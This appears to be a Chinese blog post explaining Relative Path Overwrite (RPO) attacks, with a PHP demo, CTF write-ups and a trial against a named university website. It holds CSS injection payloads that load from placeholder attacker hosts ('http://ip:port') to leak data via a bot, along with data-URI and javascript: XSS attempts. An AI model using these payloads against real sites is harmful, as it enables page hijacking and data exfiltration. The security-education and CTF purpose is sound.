zoukankan      html  css  js  c++  java
  • RPO攻击

    RPO攻击

    最近见到几个题,了解到一种攻击方式,就是有RPO攻击

    0x00概述

    浏览器解析页面路径有误而导致css文件加载路径错误,从而引发的任意解析。

    引子:
    1.在php有些框架中会有些pathinfo模式的url,就像http://localhost/index.php/home/user/login/var/value/ 如果此时页面需要加载css,同时是以一个相对路径进行加载,会出现什么问题呢?

    2.有时url例如这样http://test.com/a/b/c/d/e/f.html 的时候,如果
    我访问的是

    0x01攻击

    针对上面的问题,我简单的写了一个demon测试了一下

    php代码

    
    <?php $path='http://localhost/hello/'?>
    <a class="navbar-brand" href="<?php echo $path?>url.php">三国杀</a>
    <li class="active" id='wei'><a href="<?php echo $path?>url.php/country/wei">魏</a></li>
    <li id ='shu'><a href="<?php echo $path?>url.php/country/shu">蜀</a></li>
    <li class="active" id='wu'><a href="<?php echo $path?>url.php/country/wu">吴</a></li>
    <link rel="stylesheet" href="./style.css" style="css" />
    <?php
    $arr=isset($_SERVER['PATH_INFO'])?explode('/',trim($_SERVER['PATH_INFO'],'/')):null;
    //var_dump($arr);
    //echo $arr
    $value='';
    for($_=0;$_<count($arr);$_+=2)
    {
        $value[$arr[$_]] = $arr[$_+1];
    }
    $value['country']=isset($value['country'])?$value['country']:null;
    switch ($value['country']) {
        case 'wei':
            ?>
            <h1>welcome to 魏国!</h1>
            <?php
            break;
        case 'shu':
            ?>
    
            <h1>welcome to 蜀国!</h1>
    
            <?php
            break;
        case 'wu':
            ?>
            <h1>welcome to 吴国!</h1>
    
            <?php
            break;
    
        default:
            ?>
            <h1>welcome!</h1>
            <?php
            break;
    }
    ?>
    

    style.css文件

    h1 {
    font-size:180px;
    color:blue;
    }
    

    注意这里css文件加载是以一个相对路径加载的

    <link rel="stylesheet" href="./style.css" style="css" />

    这里传参是利用/来进行分割,发现直接打开页面是没有问题的。

    但是发现如果有传参的话,就出现问题了。

    是哪里的问题?

    在这里浏览器误以为我们参数的键/country/是一个实际的路径,从而导致实际加载的css文件路径就成了
    http://localhost/hello/url.php/country/style.css

    在这里服务端收到的请求会认为请求/country/style.css是一个键为country值为style.css的参数,从而返回页面。

    0x02利用

    说到底是要实际利用的,之前的例子只是说明了,我们可以打乱他的css的路径使其不能正常显示,那么如果那个加载的css我们可以控制就好了,这里就是用了一个小技巧,下面借鉴国外的一篇文章的分析

    css文件路径为../../styles.css,URL写为
    http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html

    返回正确
    服务器接收到的是/tools/toolbar/buttons/apis/howto_guide.html

    浏览器接收到的是 /tools/toolbar/buttons/apis%2fhowto_guide.html

    页面中导入的样式表 为 /tools ~~/toolbar/buttons/../../~~ style.css

    浏览器认为style.css的根目录是tools/toolbar/buttons,而不是tools/toolbar/button/apis

    所以../../style.css跳到了更高一级的目录下

    这个就比较有意思了,style.css是往上跳两级,如果我们在这两级中加个/tools/toolbar/a/..%2fbuttons/apis/howto_guide.html这样,服务器收到这里的是/tools/toolbar/ a/../ buttons/apis/howto_guide.html相当于没有加,但是浏览器依然以为/..%2f和后面的是一个路径这样的话我们就使加载的css文件是在一个我们自己构造的文件夹a中了

    这样有啥子用处呢?

    首先要了解的是,浏览器解析css文件是兼容性比较高的,他不去关注那些杂乱的字符,只要我们可以空出一行或者可以分割杂乱字符就可以了,比如asda{}body {background: url(./aaa.jpg);}asfa这样就可以正确的加载。

    其次,如果在网站里还有一处评论留言 或者搜索能使页面的部分内容是我们可以控制的话,我们可以构造css的语句,然后使加载的css文件可以跳到这里,便可以控制页面css的样式了。

    下面举一个例子,还是学校的某处网站(http://xsc.cuit.edu.cn/WebSite/Web/SearchList-Title~111.html)。

    这里的搜索的参数是直接在url的,我首先想了想如果我们搜索a/c/这样的话浏览器会不会认为这都是路径从而乱套啊,试了一下发现服务器考虑到这个问题,我输入一个/他就会多跳一级。


    (想了想这种方式还是比较脆弱的,如果我是两个连续的/浏览器并不会认为这是两级目录,但是服务器却会返回调两级的地址。)

    我们这时候还需要找一个可以插入payload的页面http://xxxx/WebSite/Web/NewsList_Wyls.html

    分析一下,我们源页面路径是/WebSite/Web/SearchList-Title~111.html,现在需要跳转到/WebSite/Web/NewsList_Wyls.html,如果把NewsList_Wyls.html当成目录的话,那只需要跳一级就可以了,最后构造的url是http://xsc.cuit.edu.cn/WebSite/Web/NewsList_Wyls.html/..%2fSearchList-Title~33s.html

    可以看到具体加载的css文件成功的转到我们需要的页面了

    可惜的是这里并没有成功渲染,我把加载的css源码拖到本地执行,是有效的,不晓得为啥子这里就不行了。但是总的攻击流程大概就是这样。

    CTF题目

    题目一

    最近有CTF就是利用的这个攻击方式的,pwnhub上的那个流程和之前类似,最后就是在user页面写{}*{backgorund: url('http://ip:port');}然后构造好url提交给bot然后等bot访问后加载css就ok了,说实话这种利用方式感觉并没有什么实际的用处。

    题目二

    在http://117.34.111.15:3000,这道题中就比较有意思了,贴一下出题人的wp

    思路相当可以,差不多就是利用未闭合的单引号来包裹源码,通过访问的url读取源码。

    这里有些坑感觉,由于对css语法并不是很了解,有空了在研究研究看看。

    常见的可以加载加载远程文件的方法

    {} @import url('http://1.2.3.4/');
    或者加载背景
    {}body {background: url(http://ip:port);}

    之前看到可以通过这种css的方式加载图片background-image:url(data:image/gif;base64,R0lGODlhAQAcALMAAMXh96HR97XZ98Hf98Xg97DX97nb98Lf97vc98Tg973d96rU97ba97%2Fe96XS9wAAACH5BAAAAAAALAAAAAABABwAAAQVMLhVBDNItXESAURyDI2CGIxQLE4EADs%3D);

    我想是不是可以尝试加载js代码?
    类似于data类型的地址有如下:

    data:text/plain,<文本数据>
    data:text/html,<HTML代码>
    data:text/html;base64,<base64编码的HTML代码>
    data:text/css,<CSS代码>
    data:text/css;base64,<base64编码的CSS代码>
    data:text/javascript,<Javascript代码>
    data:text/javascript;base64,<base64编码的Javascript代码>
    data:image/gif;base64,base64编码的gif图片数据
    data:image/png;base64,base64编码的png图片数据
    data:image/jpeg;base64,base64编码的jpeg图片数据
    data:image/x-icon;base64,base64编码的icon图片数据
    

    还有这样javascript:alert('xss');
    发现这样并不会解析。

    留着以后发现新姿势在利用吧。

  • 相关阅读:
    Python学习第15天_模块
    Python学习第14天_文件读取写入
    Python学习第13天_练习(图书馆的创建)
    Python学习第12天_类
    Python学习第11天_参数
    Python学习第10天_函数
    Python学习第九天_模块的应用
    Android Bluetooth HIDL服务分析
    Mac下CLion配置Google GTest小结
    MacOS通过homebrew安装老版本的软件
  • 原文地址:https://www.cnblogs.com/p00mj/p/6755000.html
Copyright © 2011-2022 走看看